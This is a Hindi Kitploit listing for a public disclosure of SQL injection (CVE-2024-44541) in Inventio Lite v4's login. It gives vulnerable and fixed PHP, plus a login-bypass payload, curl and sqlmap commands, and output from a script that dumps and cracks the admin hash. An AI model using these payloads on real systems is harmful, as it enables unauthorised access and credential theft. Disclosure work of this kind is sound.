Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-44541 — यह रिपॉजिटरी Inventio Lite v4 में SQL Injection कमजोरी का विवरण देती है, जिसमें शोषण के चरण और हमले को स्वचालित करने के लिए एक Python स्क्रिप्ट शामिल है। यह कमजोर कोड, अनुशंसित सुधारों, तथा प्रशासनिक क्रेडेंशियल्स को निकालने और डिक्रिप्ट करने के तरीके के बारे में जानकारी प्रदान करती है। | Kitploit
उपकरण/GitHubGitHub/pointedsec/cve-2024-44541
पासवर्ड क्रैकिंगभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubpointedsec/cve-2024-44541

CVE-2024-44541

रिपॉजिटरी देखें
1 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

यह रिपॉजिटरी Inventio Lite v4 में SQL Injection कमजोरी का विवरण देती है, जिसमें शोषण के चरण और हमले को स्वचालित करने के लिए एक Python स्क्रिप्ट शामिल है। यह कमजोर कोड, अनुशंसित सुधारों, तथा प्रशासनिक क्रेडेंशियल्स को निकालने और डिक्रिप्ट करने के तरीके के बारे में जानकारी प्रदान करती है।

साझा करें

CVE-2024-44541: Inventio Lite v4 में SQL Injection भेद्यता

विवरण

Inventio Lite v4, /action=processlogin एंडपॉइंट में SQL Injection (SQLi) के प्रति संवेदनशील है। यह भेद्यता हमलावरों को POST अनुरोधों में username पैरामीटर के माध्यम से मनमाना SQL क्वेरी इंजेक्ट करने की अनुमति देती है, जिससे अनधिकृत पहुंच और डेटा निष्कर्षण हो सकता है।

असुरक्षित कोड

असुरक्षित कोड इस प्रकार है:

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();
    $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
    $query = $con->query($sql);
    $found = false;
    $userid = null;
    while($r = $query->fetch_array()){
        $found = true;
        $userid = $r['id'];
    }
}

असुरक्षित कोड का स्क्रीनशॉट: Vulnerable Code

सुधारा गया कोड

समस्या प्रिपेयर्ड स्टेटमेंट का उपयोग करके ठीक की गई है:

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();

    // Prepare the query
    $stmt = $con->prepare("
        SELECT * FROM user 
        WHERE (email = ? OR username = ?) 
        AND password = ? 
        AND is_active = 1
    ");

    // Bind parameters
    $stmt->bind_param("sss", $user, $user, $pass);

    // Execute query
    $stmt->execute();

    // Get result
    $result = $stmt->get_result();
    $found = false;
    $userid = null;

    while($r = $result->fetch_assoc()){
        $found = true;
        $userid = $r['id'];
    }

    // Close statement
    $stmt->close();
}

शोषण

प्रमाणीकरण बायपास पेलोड

इस भेद्यता का शोषण करने के लिए, निम्नलिखित पेलोड का उपयोग करें:

root@kitploit:~
user -> ") or 1=1-- - 
pass -> blablalba

curl का उपयोग करके हमले का उदाहरण:

root@kitploit:~
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""

SQLMap उदाहरण

root@kitploit:~
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs

एक्सप्लॉइट स्क्रिप्ट

प्रशासक के उपयोगकर्ता नाम और पासवर्ड हैश के शोषण और निष्कर्षण को स्वचालित करने के लिए, आप प्रदान की गई Python स्क्रिप्ट sqli.py का उपयोग कर सकते हैं।

आप इस रिपॉजिटरी को क्लोन कर सकते हैं

root@kitploit:~
git clone https://github.com/pointedsec/CVE-2024-44541

फिर pip के साथ आवश्यकताएँ स्थापित करें

root@kitploit:~
pip install -r requirements.txt

आवश्यकता अनुसार स्क्रिप्ट में निम्नलिखित वेरिएबल्स को संशोधित करें:

  • BASE_URL = "http://192.168.1.51/inventio-lite/"
  • PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"

और स्क्रिप्ट निष्पादित करें, यह प्रशासक उपयोगकर्ता नाम और हैश डंप करेगा, फिर SHA1(MD5(password)) प्रारूप के साथ हैश को क्रैक करने का प्रयास करेगा।

उदाहरण आउटपुट:

root@kitploit:~
$ python3 sqli.py 
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations

प्रभाव

गोपनीयता: हमलावर पूरे डेटाबेस को डंप कर सकते हैं, जिससे उपयोगकर्ता क्रेडेंशियल्स और व्यक्तिगत जानकारी जैसी संवेदनशील डेटा उजागर हो सकती है।

अखंडता: हमलावर प्रमाणीकरण को बायपास कर सकते हैं और प्रशासनिक पहुंच प्राप्त कर सकते हैं, जिससे वे डेटा को संशोधित या हटा सकते हैं।

संदर्भ

  • Inventio Lite GitHub Repository
  • https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-44541
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-44541
  • https://nvd.nist.gov/vuln/detail/CVE-2024-44541

श्रेय

यह भेद्यता रिपोर्ट Andrés Del Cerro द्वारा पहचानी गई थी। अधिक जानकारी के लिए, कृपया मुझसे [email protected] पर संपर्क करें।

टूल डाउनलोड करें